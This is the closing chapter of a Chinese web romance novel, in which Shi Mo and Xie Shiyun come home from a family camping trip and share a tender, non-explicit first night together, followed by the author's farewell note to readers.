谢时昀脸上没有一丝皱纹,跟她当初见他的第一面没太大区别,反而更俊美了。 岁月并没有在谢时昀脸上留下疲惫的痕迹,反而沉淀出了成熟男人的沉稳和担当,像一股经久陈酿,打开泛着悠远的香醇。 她的目光从他的脸移到他的身上,简单的白T恤下,肩背的线条依然紧实,腰腹没有一丝赘肉。 时墨忽然伸出手,隔着薄薄的衣料,覆在他的小腹上。 掌心传来温热坚实的触感,紧实的腹肌瞬间绷紧,像一张被拉满的弓。 谢时昀的小腹陡然收紧,浑身瞬间紧绷起来,猛地抓住时墨的手腕,呼吸变得急促起来,声音哑得不成样子:“墨墨,你……你干什么?这里是外面!” 帐篷外传来风吹过草地的沙沙声,还有远处玄青低沉的吠叫。 时墨看着他紧张得耳朵都红透了的样子,忍不住轻笑一声,故意又按了按:“怎么?你不愿意?” “不是不愿意。”谢时昀警觉地听了听帐篷外的动静,确定没人靠近,才压低声音,眼神认真又炙热,“这里是野外,什么都没有准备。我们第一次,不能在这里,太委屈你了。” 时墨看着他这副渴望又克制的模样,乐了,把手从他手里抽回来,故意翻了个身,背对着他,语气平淡:“那算了。” 谢时昀瞬间失落地垂下眼,“嗯”了一声,声音里满是失落。 时墨歪头看到谢时昀委屈巴巴的样子,没忍住,用手指戳了下他的胳膊:“看你今晚表现。” “真的?!”谢时昀猛地抬起头,看向时墨的眼睛瞬间亮了,差点喊出声来。 “嗯,我睡了。”时墨别过头,不再看他炙热的眼神。 得了这句话,接下来的时间,谢时昀度秒如年。 他躺在帐篷里,眼睛直勾勾地盯着帐篷顶,脑子里翻来覆去就两个字:今晚。 他想了无数个日夜的事情,终于要成真了。 四点多,周晓娟抱着睡醒的念念从帐篷里出来,时墨正在河边跟玄青玩扔木棍的游戏。 “该回了,天黑路不好开。”时建军把烤炉搬上车,拍了拍手上的灰。 谢时昀手脚麻利地收拾垃圾、拆烤炉、叠帐篷,动作快得像一阵风,时建军想搭把手都插不上。 “我说时昀,你急什么啊?”时建军看着他忙前忙后的样子,一脸疑惑,“天还亮着呢。” “天说黑就黑,晓娟带念念玩了一天,也累了,早点回去休息。”谢时昀把最后一件东西放进后备箱,擦了擦额头的汗。 时墨站在旁边,看着他一本正经地胡说八道,忍住没拆台。 车子驶在回城的路上,夕阳把天空染成了橘红色,温柔的霞光洒在车厢里。 时墨靠在座椅上,看着窗外飞逝的风景,心里一片平静。没有了系统的束缚,没有了任务的压力,她终于可以随心所欲地生活了。 谢时昀时不时转头看她一眼,眼神里满是期待和紧张,握着方向盘的手都微微出汗。 回到家,天已经擦黑了。 玄青和穗穗冲进院子,直奔各自的水碗。谢时昀拎着时建军塞给他们的肉串和蔬菜,跟在时墨身后进了屋。 “哥说让咱们带回来吃,明天放烤箱热一下就行。”他把袋子放进厨房,出来的时候时墨已经进了卧室洗漱。 浴室里传来哗哗的水声,谢时昀站在客厅里,心脏“咚咚”跳得飞快。他攥紧拳头,深吸一口气,转身回了自己家,仔细洗了个澡,换了身干净的睡衣,头发吹完又在镜子前抓了抓造型。 “不能急,”他对镜子里的自己小声说,“温柔点,别把墨墨吓着了。” 可他的心跳根本不受控制,像要从胸腔里蹦出来一样。 谢时昀整理好情绪,回到时墨院子。 夜风凉飕飕的,石榴树的影子被月光拉得老长,在地上投下一片斑驳。他站在时墨卧室门口,门没关严,留了一条缝,暖黄色的床头灯从缝隙里透出来,温柔又暧昧。 他缓缓吐出一口气,伸手推开了门。 时墨穿着粉色的丝绸睡衣,靠在床头看书,头发半干着,发梢滴着水珠,落在睡衣上,晕开小小的湿痕。 谢时昀站在门口,紧张得手都不知道往哪放。 时墨抬头看了他一眼,目光从他的脸上下移,又移回他的脸上。 “站在门口干什么?进来。”她声音淡淡道,“衣柜里有你被褥和枕头自己拿。” 谢时昀的心跳漏了一拍。 他进屋从衣柜里把被褥拿出来,小心翼翼地铺在时墨身边,又把枕头摆在时墨枕头旁。 时墨手里的书翻过一页,没有抬头看他。 谢时昀铺好床,站在原地,看了看床,又看了看时墨。 “你站那儿当门神?”时墨放下书,抬眼看他,“不上床睡觉?” 谢时昀赶紧掀开被子,躺了进去。 两人中间隔着被褥,谢时昀能清晰地闻到时墨身上沐浴露的桃子香味,香甜又诱人,让人忍不住想咬一口。 他侧过身,目光灼灼地盯着时墨的侧脸。暖黄的灯光勾勒出她柔和的轮廓,长长的睫毛在眼下投出一片浅浅的阴影。 时墨翻了一页书。 谢时昀躺在那里,一动不动,目光灼灼地盯着时墨,目光落在她挺翘的鼻头到水润的嘴唇,停留片刻后,又落在时墨几缕贴着脖颈的碎发,看着发丝随着呼吸微微起伏。 “墨墨。”他声音低哑地像是呢喃声。 时墨翻书的手指顿了下,停在那一页上,迟迟没有翻过去。 谢时昀慢慢伸出手,指尖轻轻碰了碰她的手指,时墨没有躲开。 他的手指缓慢地穿过她的指缝,一根一根地收拢,小心翼翼的靠近。 时墨终于放下书,侧过头来看他。 四目相对的瞬间,谢时昀觉得自己的呼吸都停了。 他的拇指在她手背上轻轻地摩挲着,克制到了极点:“我可以继续吗?” 时墨没有回答,而是把手指从他掌心里抽出来,然后倾过身,低头吻住了他。 谢时昀怔愣住,随即反应过来,另一只手猛地揽住她的腰,将她紧紧抱在怀里,仰头反客为主。 时墨的手轻轻搭在他的肩膀上,闭上眼睛,回应着他的吻。 他们十指相扣,体温彼此交转着。 夜风从窗户的缝隙里溜进来,吹得窗帘轻轻晃动,月光漏进来一道窄窄的银白,落在床边,映着两人起伏的身影。 不知道过了多久,时墨靠在谢时昀的怀里,头发散在他胸前,呼吸渐渐平缓下来。谢时昀的手搭在她的腰侧,温柔的来回抚摸着。 “谢时昀。”她声音透着倦意。 “嗯?” “从今天起,你正式转正。” 谢时昀的手臂猛地收紧,低头在她额头上印下一个吻,再次翻身而上。 “唔……谢时昀!”—— 作者有话说:感谢大家一直以来的支持,时墨的故事到此结束啦,他们会在有另一个世界好好生活 我们下个故事见!【..top】